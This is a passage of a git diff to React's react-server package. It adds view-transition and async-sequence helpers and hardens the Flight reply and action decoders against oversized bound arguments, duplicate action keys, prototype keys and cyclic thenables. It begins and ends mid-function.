+      case 'fulfilled':
+        const previousThenableValue = lastThenable.value;
+        // $FlowIgnore[method-unbinding] We rebind .then immediately.
+        const previousThenableThen = lastThenable.then.bind(lastThenable);
+        delete lastThenable.value;
+        delete (lastThenable: any).status;
+        // We'll call .then again if we resuspend. Since we potentially corrupted
+        // the internal state of unknown classes, we need to diffuse the potential
+        // crash by replacing the .then method with a noop.
+        // $FlowFixMe[cannot-write] Custom userspace Thenables may not be but native Promises are.
+        lastThenable.then = noop;
+        return () => {
+          // $FlowFixMe[cannot-write] Custom userspace Thenables may not be but native Promises are.
+          lastThenable.then = previousThenableThen;
+          lastThenable.value = previousThenableValue;
+          lastThenable.status = 'fulfilled';
+        };
+      case 'rejected':
+        const previousThenableReason = lastThenable.reason;
+        delete lastThenable.reason;
+        delete (lastThenable: any).status;
+        return () => {
+          lastThenable.reason = previousThenableReason;
+          lastThenable.status = 'rejected';
+        };
+    }
+    return noop;
+  } else {
+    // eslint-disable-next-line react-internal/prod-error-codes
+    throw new Error(
+      'ensureSuspendableThenableStateDEV was called in a production environment. ' +
+        'This is a bug in React.',
+    );
+  }
+}
diff --git a/packages/react-server/src/ReactFizzViewTransitionComponent.js b/packages/react-server/src/ReactFizzViewTransitionComponent.js
new file mode 100644
index 000000000000..d2e6c0e120f3
--- /dev/null
+++ b/packages/react-server/src/ReactFizzViewTransitionComponent.js
@@ -0,0 +1,72 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ViewTransitionProps, ViewTransitionClass} from 'shared/ReactTypes';
+import type {TreeContext} from './ReactFizzTreeContext';
+import type {ResumableState} from './ReactFizzConfig';
+
+import {getTreeId} from './ReactFizzTreeContext';
+import {makeId} from './ReactFizzConfig';
+
+export function getViewTransitionName(
+  props: ViewTransitionProps,
+  treeContext: TreeContext,
+  resumableState: ResumableState,
+): string {
+  if (props.name != null && props.name !== 'auto') {
+    return props.name;
+  }
+  const treeId = getTreeId(treeContext);
+  return makeId(resumableState, treeId, 0);
+}
+
+function getClassNameByType(classByType: ?ViewTransitionClass): ?string {
+  if (classByType == null || typeof classByType === 'string') {
+    return classByType;
+  }
+  let className: ?string = null;
+  const activeTypes = null; // TODO: Support passing active types.
+  if (activeTypes !== null) {
+    for (let i = 0; i < activeTypes.length; i++) {
+      const match = classByType[activeTypes[i]];
+      if (match != null) {
+        if (match === 'none') {
+          // If anything matches "none" that takes precedence over any other
+          // type that also matches.
+          return 'none';
+        }
+        if (className == null) {
+          className = match;
+        } else {
+          className += ' ' + match;
+        }
+      }
+    }
+  }
+  if (className == null) {
+    // We had no other matches. Match the default for this configuration.
+    return classByType.default;
+  }
+  return className;
+}
+
+export function getViewTransitionClassName(
+  defaultClass: ?ViewTransitionClass,
+  eventClass: ?ViewTransitionClass,
+): ?string {
+  const className: ?string = getClassNameByType(defaultClass);
+  const eventClassName: ?string = getClassNameByType(eventClass);
+  if (eventClassName == null) {
+    return className === 'auto' ? null : className;
+  }
+  if (eventClassName === 'auto') {
+    return null;
+  }
+  return eventClassName;
+}
diff --git a/packages/react-server/src/ReactFlightActionServer.js b/packages/react-server/src/ReactFlightActionServer.js
index 1097d6f5db66..a3a47a9f9793 100644
--- a/packages/react-server/src/ReactFlightActionServer.js
+++ b/packages/react-server/src/ReactFlightActionServer.js
@@ -7,7 +7,7 @@
  * @flow
  */
 
-import type {Thenable, ReactFormState} from 'shared/ReactTypes';
+import type {ReactFormState} from 'shared/ReactTypes';
 
 import type {
   ServerManifest,
@@ -20,26 +20,48 @@ import {
   requireModule,
 } from 'react-client/src/ReactFlightClientConfig';
 
-import {createResponse, close, getRoot} from './ReactFlightReplyServer';
+import {
+  createResponse,
+  close,
+  getRoot,
+  MAX_BOUND_ARGS,
+} from './ReactFlightReplyServer';
 
 type ServerReferenceId = any;
 
 function bindArgs(fn: any, args: any) {
+  if (args.length > MAX_BOUND_ARGS) {
+    throw new Error(
+      'Server Function has too many bound arguments. Received ' +
+        args.length +
+        ' but the limit is ' +
+        MAX_BOUND_ARGS +
+        '.',
+    );
+  }
+
   return fn.bind.apply(fn, [null].concat(args));
 }
 
 function loadServerReference<T>(
   bundlerConfig: ServerManifest,
-  id: ServerReferenceId,
-  bound: null | Thenable<Array<any>>,
+  metaData: {
+    id: ServerReferenceId,
+    bound: null | Promise<Array<any>>,
+  },
 ): Promise<T> {
+  const id: ServerReferenceId = metaData.id;
+  if (typeof id !== 'string') {
+    return (null: any);
+  }
   const serverReference: ServerReference<T> =
     resolveServerReference<$FlowFixMe>(bundlerConfig, id);
   // We expect most servers to not really need this because you'd just have all
   // the relevant modules already loaded but it allows for lazy loading of code
   // if needed.
   const preloadPromise = preloadModule(serverReference);
-  if (bound) {
+  const bound = metaData.bound;
+  if (bound instanceof Promise) {
     return Promise.all([(bound: any), preloadPromise]).then(
       ([args]: Array<any>) => bindArgs(requireModule(serverReference), args),
     );
@@ -57,6 +79,7 @@ function decodeBoundActionMetaData(
   body: FormData,
   serverManifest: ServerManifest,
   formFieldPrefix: string,
+  arraySizeLimit: void | number,
 ): {id: ServerReferenceId, bound: null | Promise<Array<any>>} {
   // The data for this reference is encoded in multiple fields under this prefix.
   const actionResponse = createResponse(
@@ -64,6 +87,7 @@ function decodeBoundActionMetaData(
     formFieldPrefix,
     undefined,
     body,
+    arraySizeLimit,
   );
   close(actionResponse);
   const refPromise = getRoot<{
@@ -89,28 +113,45 @@ export function decodeAction<T>(
   const formData = new FormData();
 
   let action: Promise<(formData: FormData) => T> | null = null;
+  const seenActions = new Set<string>();
 
   // $FlowFixMe[prop-missing]
   body.forEach((value: string | File, key: string) => {
     if (!key.startsWith('$ACTION_')) {
+      // $FlowFixMe[incompatible-call]
       formData.append(key, value);
       return;
     }
-    // Later actions may override earlier actions if a button is used to override the default
-    // form action.
+    // Later actions may override earlier actions if a button is used to
+    // override the default form action. However, we don't expect the same
+    // action ref field to be sent multiple times in legitimate form data.
     if (key.startsWith('$ACTION_REF_')) {
+      if (seenActions.has(key)) {
+        return;
+      }
+      seenActions.add(key);
       const formFieldPrefix = '$ACTION_' + key.slice(12) + ':';
       const metaData = decodeBoundActionMetaData(
         body,
         serverManifest,
         formFieldPrefix,
       );
-      action = loadServerReference(serverManifest, metaData.id, metaData.bound);
+      action = loadServerReference(serverManifest, metaData);
       return;
     }
+    // A simple action with no bound arguments may appear twice in the form data
+    // if a button specifies the same action as the default form action. We only
+    // load the first one, as they're guaranteed to be identical.
     if (key.startsWith('$ACTION_ID_')) {
+      if (seenActions.has(key)) {
+        return;
+      }
+      seenActions.add(key);
       const id = key.slice(11);
-      action = loadServerReference(serverManifest, id, null);
+      action = loadServerReference(serverManifest, {
+        id,
+        bound: null,
+      });
       return;
     }
   });
diff --git a/packages/react-server/src/ReactFlightAsyncSequence.js b/packages/react-server/src/ReactFlightAsyncSequence.js
new file mode 100644
index 000000000000..380e6d9dbafc
--- /dev/null
+++ b/packages/react-server/src/ReactFlightAsyncSequence.js
@@ -0,0 +1,86 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {
+  ReactDebugInfo,
+  ReactComponentInfo,
+  ReactStackTrace,
+} from 'shared/ReactTypes';
+
+export const IO_NODE = 0;
+export const PROMISE_NODE = 1;
+export const AWAIT_NODE = 2;
+export const UNRESOLVED_PROMISE_NODE = 3;
+export const UNRESOLVED_AWAIT_NODE = 4;
+
+type PromiseWithDebugInfo = interface extends Promise<any> {
+  _debugInfo?: ReactDebugInfo,
+};
+
+export type IONode = {
+  tag: 0,
+  owner: null | ReactComponentInfo,
+  stack: null | ReactStackTrace, // callsite that spawned the I/O
+  start: number, // start time when the first part of the I/O sequence started
+  end: number, // we typically don't use this. only when there's no promise intermediate.
+  promise: null, // not used on I/O
+  awaited: null, // I/O is only blocked on external.
+  previous: null | AwaitNode | UnresolvedAwaitNode, // the preceeding await that spawned this new work
+};
+
+export type PromiseNode = {
+  tag: 1,
+  owner: null | ReactComponentInfo,
+  stack: null | ReactStackTrace, // callsite that created the Promise
+  start: number, // start time when the Promise was created
+  end: number, // end time when the Promise was resolved.
+  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced
+  awaited: null | AsyncSequence, // the thing that ended up resolving this promise
+  previous: null | AsyncSequence, // represents what the last return of an async function depended on before returning
+};
+
+export type AwaitNode = {
+  tag: 2,
+  owner: null | ReactComponentInfo,
+  stack: null | ReactStackTrace, // callsite that awaited (using await, .then(), Promise.all(), ...)
+  start: number, // when we started blocking. This might be later than the I/O started.
+  end: number, // when we unblocked. This might be later than the I/O resolved if there's CPU time.
+  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced
+  awaited: null | AsyncSequence, // the promise we were waiting on
+  previous: null | AsyncSequence, // the sequence that was blocking us from awaiting in the first place
+};
+
+export type UnresolvedPromiseNode = {
+  tag: 3,
+  owner: null | ReactComponentInfo,
+  stack: null | ReactStackTrace, // callsite that created the Promise
+  start: number, // start time when the Promise was created
+  end: -1.1, // set when we resolve.
+  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced
+  awaited: null | AsyncSequence, // the thing that ended up resolving this promise
+  previous: null, // where we created the promise is not interesting since creating it doesn't mean waiting.
+};
+
+export type UnresolvedAwaitNode = {
+  tag: 4,
+  owner: null | ReactComponentInfo,
+  stack: null | ReactStackTrace, // callsite that awaited (using await, .then(), Promise.all(), ...)
+  start: number, // when we started blocking. This might be later than the I/O started.
+  end: -1.1, // set when we resolve.
+  promise: WeakRef<PromiseWithDebugInfo>, // a reference to this Promise if still referenced
+  awaited: null | AsyncSequence, // the promise we were waiting on
+  previous: null | AsyncSequence, // the sequence that was blocking us from awaiting in the first place
+};
+
+export type AsyncSequence =
+  | IONode
+  | PromiseNode
+  | AwaitNode
+  | UnresolvedPromiseNode
+  | UnresolvedAwaitNode;
diff --git a/packages/react-server/src/ReactFlightCallUserSpace.js b/packages/react-server/src/ReactFlightCallUserSpace.js
new file mode 100644
index 000000000000..becd0e1d71ab
--- /dev/null
+++ b/packages/react-server/src/ReactFlightCallUserSpace.js
@@ -0,0 +1,85 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {LazyComponent} from 'react/src/ReactLazy';
+
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+import type {ReactClientValue} from './ReactFlightServer';
+
+import {setCurrentOwner} from './flight/ReactFlightCurrentOwner';
+
+// These indirections exists so we can exclude its stack frame in DEV (and anything below it).
+// TODO: Consider marking the whole bundle instead of these boundaries.
+
+const callComponent = {
+  react_stack_bottom_frame: function <Props, R>(
+    Component: (p: Props, arg: void) => R,
+    props: Props,
+    componentDebugInfo: ReactComponentInfo,
+  ): R {
+    // The secondArg is always undefined in Server Components since refs error early.
+    const secondArg = undefined;
+    setCurrentOwner(componentDebugInfo);
+    try {
+      return Component(props, secondArg);
+    } finally {
+      setCurrentOwner(null);
+    }
+  },
+};
+
+export const callComponentInDEV: <Props, R>(
+  Component: (p: Props, arg: void) => R,
+  props: Props,
+  componentDebugInfo: ReactComponentInfo,
+) => R = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callComponent.react_stack_bottom_frame.bind(callComponent): any)
+  : (null: any);
+
+const callLazyInit = {
+  react_stack_bottom_frame: function (lazy: LazyComponent<any, any>): any {
+    const payload = lazy._payload;
+    const init = lazy._init;
+    return init(payload);
+  },
+};
+
+export const callLazyInitInDEV: (lazy: LazyComponent<any, any>) => any = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callLazyInit.react_stack_bottom_frame.bind(callLazyInit): any)
+  : (null: any);
+
+const callIterator = {
+  react_stack_bottom_frame: function (
+    iterator: $AsyncIterator<ReactClientValue, ReactClientValue, void>,
+    progress: (
+      entry:
+        | {done: false, +value: ReactClientValue, ...}
+        | {done: true, +value: ReactClientValue, ...},
+    ) => void,
+    error: (reason: mixed) => void,
+  ): void {
+    iterator.next().then(progress, error);
+  },
+};
+
+export const callIteratorInDEV: (
+  iterator: $AsyncIterator<ReactClientValue, ReactClientValue, void>,
+  progress: (
+    entry:
+      | {done: false, +value: ReactClientValue, ...}
+      | {done: true, +value: ReactClientValue, ...},
+  ) => void,
+  error: (reason: mixed) => void,
+) => void = __DEV__
+  ? // We use this technique to trick minifiers to preserve the function name.
+    (callIterator.react_stack_bottom_frame.bind(callIterator): any)
+  : (null: any);
diff --git a/packages/react-server/src/ReactFlightHooks.js b/packages/react-server/src/ReactFlightHooks.js
index e85e0e9ce6a6..d814de462982 100644
--- a/packages/react-server/src/ReactFlightHooks.js
+++ b/packages/react-server/src/ReactFlightHooks.js
@@ -57,30 +57,39 @@ export function getThenableStateAfterSuspending(): ThenableState {
   return state;
 }
 
+export function getTrackedThenablesAfterRendering(): null | Array<
+  Thenable<any>,
+> {
+  return thenableState;
+}
+
 export const HooksDispatcher: Dispatcher = {
-  useMemo<T>(nextCreate: () => T): T {
-    return nextCreate();
-  },
+  readContext: (unsupportedContext: any),
+
+  use,
   useCallback<T>(callback: T): T {
     return callback;
   },
-  useDebugValue(): void {},
-  useDeferredValue: (unsupportedHook: any),
-  useTransition: (unsupportedHook: any),
-  readContext: (unsupportedContext: any),
   useContext: (unsupportedContext: any),
+  useEffect: (unsupportedHook: any),
+  useImperativeHandle: (unsupportedHook: any),
+  useLayoutEffect: (unsupportedHook: any),
+  useInsertionEffect: (unsupportedHook: any),
+  useMemo<T>(nextCreate: () => T): T {
+    return nextCreate();
+  },
   useReducer: (unsupportedHook: any),
   useRef: (unsupportedHook: any),
   useState: (unsupportedHook: any),
-  useInsertionEffect: (unsupportedHook: any),
-  useLayoutEffect: (unsupportedHook: any),
-  useImperativeHandle: (unsupportedHook: any),
-  useEffect: (unsupportedHook: any),
-  useId,
+  useDebugValue(): void {},
+  useDeferredValue: (unsupportedHook: any),
+  useTransition: (unsupportedHook: any),
   useSyncExternalStore: (unsupportedHook: any),
-  useCacheRefresh(): <T>(?() => T, ?T) => void {
-    return unsupportedRefresh;
-  },
+  useId,
+  useHostTransitionStatus: (unsupportedHook: any),
+  useFormState: (unsupportedHook: any),
+  useActionState: (unsupportedHook: any),
+  useOptimistic: (unsupportedHook: any),
   useMemoCache(size: number): Array<any> {
     const data = new Array<any>(size);
     for (let i = 0; i < size; i++) {
@@ -88,7 +97,10 @@ export const HooksDispatcher: Dispatcher = {
     }
     return data;
   },
-  use,
+  useCacheRefresh(): <T>(?() => T, ?T) => void {
+    return unsupportedRefresh;
+  },
+  useEffectEvent: (unsupportedHook: any),
 };
 
 function unsupportedHook(): void {
@@ -111,7 +123,7 @@ function useId(): string {
   }
   const id = currentRequest.identifierCount++;
   // use 'S' for Flight components to distinguish from 'R' and 'r' in Fizz/Client
-  return ':' + currentRequest.identifierPrefix + 'S' + id.toString(32) + ':';
+  return '_' + currentRequest.identifierPrefix + 'S_' + id.toString(32) + '_';
 }
 
 function use<T>(usable: Usable<T>): T {
diff --git a/packages/react-server/src/ReactFlightReplyServer.js b/packages/react-server/src/ReactFlightReplyServer.js
index b1e941f1e192..34a4942ce076 100644
--- a/packages/react-server/src/ReactFlightReplyServer.js
+++ b/packages/react-server/src/ReactFlightReplyServer.js
@@ -30,13 +30,11 @@ import {
   createTemporaryReference,
   registerTemporaryReference,
 } from './ReactFlightServerTemporaryReferences';
-import {
-  enableBinaryFlight,
-  enableFlightReadableStream,
-} from 'shared/ReactFeatureFlags';
 import {ASYNC_ITERATOR} from 'shared/ReactSymbols';
 
 import hasOwnProperty from 'shared/hasOwnProperty';
+import getPrototypeOf from 'shared/getPrototypeOf';
+import isArray from 'shared/isArray';
 
 interface FlightStreamController {
   enqueueModel(json: string): void;
@@ -54,44 +52,37 @@ export type JSONValue =
 
 const PENDING = 'pending';
 const BLOCKED = 'blocked';
-const CYCLIC = 'cyclic';
 const RESOLVED_MODEL = 'resolved_model';
 const INITIALIZED = 'fulfilled';
 const ERRORED = 'rejected';
 
+const __PROTO__ = '__proto__';
+
+type RESPONSE_SYMBOL_TYPE = 'RESPONSE_SYMBOL'; // Fake symbol type.
+const RESPONSE_SYMBOL: RESPONSE_SYMBOL_TYPE = (Symbol(): any);
+
 type PendingChunk<T> = {
   status: 'pending',
-  value: null | Array<(T) => mixed>,
-  reason: null | Array<(mixed) => mixed>,
-  _response: Response,
+  value: null | Array<InitializationReference | (T => mixed)>,
+  reason: null | Array<InitializationReference | (mixed => mixed)>,
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type BlockedChunk<T> = {
   status: 'blocked',
-  value: null | Array<(T) => mixed>,
-  reason: null | Array<(mixed) => mixed>,
-  _response: Response,
-  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
-};
-type CyclicChunk<T> = {
-  status: 'cyclic',
-  value: null | Array<(T) => mixed>,
-  reason: null | Array<(mixed) => mixed>,
-  _response: Response,
+  value: null | Array<InitializationReference | (T => mixed)>,
+  reason: null | Array<InitializationReference | (mixed => mixed)>,
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type ResolvedModelChunk<T> = {
   status: 'resolved_model',
   value: string,
-  reason: number,
-  _response: Response,
+  reason: {id: number, [RESPONSE_SYMBOL_TYPE]: Response},
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type InitializedChunk<T> = {
   status: 'fulfilled',
   value: T,
-  reason: null,
-  _response: Response,
+  reason: null | NestedArrayContext,
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type InitializedStreamChunk<
@@ -100,38 +91,34 @@ type InitializedStreamChunk<
   status: 'fulfilled',
   value: T,
   reason: FlightStreamController,
-  _response: Response,
   then(resolve: (ReadableStream) => mixed, reject?: (mixed) => mixed): void,
 };
 type ErroredChunk<T> = {
   status: 'rejected',
   value: null,
   reason: mixed,
-  _response: Response,
   then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,
 };
 type SomeChunk<T> =
   | PendingChunk<T>
   | BlockedChunk<T>
-  | CyclicChunk<T>
   | ResolvedModelChunk<T>
   | InitializedChunk<T>
   | ErroredChunk<T>;
 
 // $FlowFixMe[missing-this-annot]
-function Chunk(status: any, value: any, reason: any, response: Response) {
+function ReactPromise(status: any, value: any, reason: any) {
   this.status = status;
   this.value = value;
   this.reason = reason;
-  this._response = response;
 }
 // We subclass Promise.prototype so that we get other methods like .catch
-Chunk.prototype = (Object.create(Promise.prototype): any);
+ReactPromise.prototype = (Object.create(Promise.prototype): any);
 // TODO: This doesn't return a new Promise chain unlike the real .then
-Chunk.prototype.then = function <T>(
+ReactPromise.prototype.then = function <T>(
   this: SomeChunk<T>,
   resolve: (value: T) => mixed,
-  reject: (reason: mixed) => mixed,
+  reject: ?(reason: mixed) => mixed,
 ) {
   const chunk: SomeChunk<T> = this;
   // If we have resolved content, we try to initialize it first which
@@ -144,36 +131,74 @@ Chunk.prototype.then = function <T>(
   // The status might have changed after initialization.
   switch (chunk.status) {
     case INITIALIZED:
-      resolve(chunk.value);
+      if (typeof resolve === 'function') {
+        let inspectedValue = chunk.value;
+        // Recursively check if the value is itself a ReactPromise and if so if it points
+        // back to itself. This helps catch recursive thenables early error.
+        let cycleProtection = 0;
+        const visited = new Set<typeof ReactPromise>();
+        while (inspectedValue instanceof ReactPromise) {
+          cycleProtection++;
+          if (
+            inspectedValue === chunk ||
+            visited.has(inspectedValue) ||
+            cycleProtection > 1000
+          ) {
+            if (typeof reject === 'function') {
+              reject(new Error('Cannot have cyclic thenables.'));
+            }
+            return;
+          }
+          visited.add(inspectedValue);
+          if (inspectedValue.status === INITIALIZED) {
+            inspectedValue = inspectedValue.value;
+          } else {
+            // If this is lazily resolved, pending or blocked, it'll eventually become
+            // initialized and break the loop. Rejected also breaks it.
+            break;
+          }
+        }
+        resolve(chunk.value);
+      }
       break;
     case PENDING:
     case BLOCKED:
-    case CYCLIC:
-      if (resolve) {
+      if (typeof resolve === 'function') {
         if (chunk.value === null) {
-          chunk.value = ([]: Array<(T) => mixed>);
+          chunk.value = ([]: Array<InitializationReference | (T => mixed)>);
         }
         chunk.value.push(resolve);
       }
-      if (reject) {
+      if (typeof reject === 'function') {
         if (chunk.reason === null) {
-          chunk.reason = ([]: Array<(mixed) => mixed>);
+          chunk.reason = ([]: Array<
+            InitializationReference | (mixed => mixed),
+          >);
         }
         chunk.reason.push(reject);
       }
       break;
     default:
-      reject(chunk.reason);
+      if (typeof reject === 'function') {
+        reject(chunk.reason);
+      }
       break;
   }
 };
 
+const ObjectPrototype = Object.prototype;
+const ArrayPrototype = Array.prototype;
+
 export type Response = {
   _bundlerConfig: ServerManifest,
   _prefix: string,
   _formData: FormData,
   _chunks: Map<number, SomeChunk<any>>,
+  _closed: boolean,
+  _closedReason: mixed,
   _temporaryReferences: void | TemporaryReferenceSet,
+  _rootArrayContexts: WeakMap<$ReadOnlyArray<mixed>, NestedArrayContext>,
+  _arraySizeLimit: number,
 };
 
 export function getRoot<T>(response: Response): Thenable<T> {
@@ -183,28 +208,52 @@ export function getRoot<T>(response: Response): Thenable<T> {
 
 function createPendingChunk<T>(response: Response): PendingChunk<T> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(PENDING, null, null, response);
+  return new ReactPromise(PENDING, null, null);
+}
+
+function wakeChunk<T>(
+  response: Response,
+  listeners: Array<InitializationReference | (T => mixed)>,
+  value: T,
+  chunk: InitializedChunk<T>,
+): void {
+  for (let i = 0; i < listeners.length; i++) {
+    const listener = listeners[i];
+    if (typeof listener === 'function') {
+      listener(value);
+    } else {
+      fulfillReference(response, listener, value, chunk.reason);
+    }
+  }
 }
 
-function wakeChunk<T>(listeners: Array<(T) => mixed>, value: T): void {
+function rejectChunk(
+  response: Response,
+  listeners: Array<InitializationReference | (mixed => mixed)>,
+  error: mixed,
+): void {
   for (let i = 0; i < listeners.length; i++) {
     const listener = listeners[i];
-    listener(value);
+    if (typeof listener === 'function') {
+      listener(error);
+    } else {
+      rejectReference(response, listener.handler, error);
+    }
   }
 }
 
 function wakeChunkIfInitialized<T>(
+  response: Response,
   chunk: SomeChunk<T>,
-  resolveListeners: Array<(T) => mixed>,
-  rejectListeners: null | Array<(mixed) => mixed>,
+  resolveListeners: Array<InitializationReference | (T => mixed)>,
+  rejectListeners: null | Array<InitializationReference | (mixed => mixed)>,
 ): void {
   switch (chunk.status) {
     case INITIALIZED:
-      wakeChunk(resolveListeners, chunk.value);
+      wakeChunk(response, resolveListeners, chunk.value, chunk);
       break;
-    case PENDING:
     case BLOCKED:
-    case CYCLIC:
+    case PENDING:
       if (chunk.value) {
         for (let i = 0; i < resolveListeners.length; i++) {
           chunk.value.push(resolveListeners[i]);
@@ -225,22 +274,24 @@ function wakeChunkIfInitialized<T>(
       break;
     case ERRORED:
       if (rejectListeners) {
-        wakeChunk(rejectListeners, chunk.reason);
+        rejectChunk(response, rejectListeners, chunk.reason);
       }
       break;
   }
 }
 
-function triggerErrorOnChunk<T>(chunk: SomeChunk<T>, error: mixed): void {
+function triggerErrorOnChunk<T>(
+  response: Response,
+  chunk: SomeChunk<T>,
+  error: mixed,
+): void {
   if (chunk.status !== PENDING && chunk.status !== BLOCKED) {
-    if (enableFlightReadableStream) {
-      // If we get more data to an already resolved ID, we assume that it's
-      // a stream chunk since any other row shouldn't have more than one entry.
-      const streamChunk: InitializedStreamChunk<any> = (chunk: any);
-      const controller = streamChunk.reason;
-      // $FlowFixMe[incompatible-call]: The error method should accept mixed.
-      controller.error(error);
-    }
+    // If we get more data to an already resolved ID, we assume that it's
+    // a stream chunk since any other row shouldn't have more than one entry.
+    const streamChunk: InitializedStreamChunk<any> = (chunk: any);
+    const controller = streamChunk.reason;
+    // $FlowFixMe[incompatible-call]: The error method should accept mixed.
+    controller.error(error);
     return;
   }
   const listeners = chunk.reason;
@@ -248,7 +299,7 @@ function triggerErrorOnChunk<T>(chunk: SomeChunk<T>, error: mixed): void {
   erroredChunk.status = ERRORED;
   erroredChunk.reason = error;
   if (listeners !== null) {
-    wakeChunk(listeners, error);
+    rejectChunk(response, listeners, error);
   }
 }
 
@@ -258,25 +309,35 @@ function createResolvedModelChunk<T>(
   id: number,
 ): ResolvedModelChunk<T> {
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(RESOLVED_MODEL, value, id, response);
+  return new ReactPromise(RESOLVED_MODEL, value, {
+    id,
+    [RESPONSE_SYMBOL]: response,
+  });
+}
+
+function createErroredChunk<T>(
+  response: Response,
+  reason: mixed,
+): ErroredChunk<T> {
+  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
+  return new ReactPromise(ERRORED, null, reason);
 }
 
 function resolveModelChunk<T>(
+  response: Response,
   chunk: SomeChunk<T>,
   value: string,
   id: number,
 ): void {
   if (chunk.status !== PENDING) {
-    if (enableFlightReadableStream) {
-      // If we get more data to an already resolved ID, we assume that it's
-      // a stream chunk since any other row shouldn't have more than one entry.
-      const streamChunk: InitializedStreamChunk<any> = (chunk: any);
-      const controller = streamChunk.reason;
-      if (value[0] === 'C') {
-        controller.close(value === 'C' ? '"$undefined"' : value.slice(1));
-      } else {
-        controller.enqueueModel(value);
-      }
+    // If we get more data to an already resolved ID, we assume that it's
+    // a stream chunk since any other row shouldn't have more than one entry.
+    const streamChunk: InitializedStreamChunk<any> = (chunk: any);
+    const controller = streamChunk.reason;
+    if (value[0] === 'C') {
+      controller.close(value === 'C' ? '"$undefined"' : value.slice(1));
+    } else {
+      controller.enqueueModel(value);
     }
     return;
   }
@@ -285,14 +346,14 @@ function resolveModelChunk<T>(
   const resolvedChunk: ResolvedModelChunk<T> = (chunk: any);
   resolvedChunk.status = RESOLVED_MODEL;
   resolvedChunk.value = value;
-  resolvedChunk.reason = id;
+  resolvedChunk.reason = {id, [RESPONSE_SYMBOL]: response};
   if (resolveListeners !== null) {
     // This is unfortunate that we're reading this eagerly if
     // we already have listeners attached since they might no
     // longer be rendered or might not be the highest pri.
     initializeModelChunk(resolvedChunk);
     // The status might have changed after initialization.
-    wakeChunkIfInitialized(chunk, resolveListeners, rejectListeners);
+    wakeChunkIfInitialized(response, chunk, resolveListeners, rejectListeners);
   }
 }
 
@@ -306,7 +367,7 @@ function createInitializedStreamChunk<
   // We use the reason field to stash the controller since we already have that
   // field. It's a bit of a hack but efficient.
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(INITIALIZED, value, controller, response);
+  return new ReactPromise(INITIALIZED, value, controller);
 }
 
 function createResolvedIteratorResultChunk<T>(
@@ -318,10 +379,14 @@ function createResolvedIteratorResultChunk<T>(
   const iteratorResultJSON =
     (done ? '{"done":true,"value":' : '{"done":false,"value":') + value + '}';
   // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
-  return new Chunk(RESOLVED_MODEL, iteratorResultJSON, -1, response);
+  return new ReactPromise(RESOLVED_MODEL, iteratorResultJSON, {
+    id: -1,
+    [RESPONSE_SYMBOL]: response,
+  });
 }
 
 function resolveIteratorResultChunk<T>(
+  response: Response,
   chunk: SomeChunk<IteratorResult<T, T>>,
   value: string,
   done: boolean,
@@ -329,55 +394,170 @@ function resolveIteratorResultChunk<T>(
   // To reuse code as much code as possible we add the wrapper element as part of the JSON.
   const iteratorResultJSON =
     (done ? '{"done":true,"value":' : '{"done":false,"value":') + value + '}';
-  resolveModelChunk(chunk, iteratorResultJSON, -1);
+  resolveModelChunk(response, chunk, iteratorResultJSON, -1);
 }
 
-function bindArgs(fn: any, args: any) {
-  return fn.bind.apply(fn, [null].concat(args));
-}
-
-function loadServerReference<T>(
+function loadServerReference<A: Iterable<any>, T>(
   response: Response,
-  id: ServerReferenceId,
-  bound: null | Thenable<Array<any>>,
-  parentChunk: SomeChunk<T>,
+  metaData: {
+    id: any,
+    bound: null | Thenable<Array<any>>,
+  },
   parentObject: Object,
   key: string,
-): T {
+): (...A) => Promise<T> {
+  const id: ServerReferenceId = metaData.id;
+  if (typeof id !== 'string') {
+    return (null: any);
+  }
+  if (key === 'then') {
+    // This should never happen because we always serialize objects with then-functions
+    // as "thenable" which reduces to ReactPromise with no other fields.
+    return (null: any);
+  }
+
+  // Check for a cached promise from a previous call with the same metadata.
+  // This handles deduplication when the same server reference appears multiple
+  // times in the payload.
+  const cachedPromise: SomeChunk<T> | void = (metaData: any).$$promise;
+  if (cachedPromise !== undefined) {
+    if (cachedPromise.status === INITIALIZED) {
+      // The value was already resolved by a previous call.
+      const resolvedValue: T = cachedPromise.value;
+      if (key === __PROTO__) {
+        return (null: any);
+      }
+      parentObject[key] = resolvedValue;
+      return (resolvedValue: any);
+    }
+
+    // The promise is still blocked. Increment the handler dependency count ...
+    let handler: InitializationHandler;
+    if (initializingHandler) {
+      handler = initializingHandler;
+      handler.deps++;
+    } else {
+      handler = initializingHandler = {
+        chunk: null,
+        value: null,
+        reason: null,
+        deps: 1,
+        errored: false,
+      };
+    }
+    // ... and register resolve and reject listeners on the promise.
+    cachedPromise.then(
+      resolveReference.bind(null, response, handler, parentObject, key),
+      rejectReference.bind(null, response, handler),
+    );
+
+    // Return a place holder value for now.
+    return (null: any);
+  }
+
+  // This is the first call for this server reference metadata. Create a cached
+  // promise to be used for subsequent calls.
+  // $FlowFixMe[invalid-constructor] Flow doesn't support functions as constructors
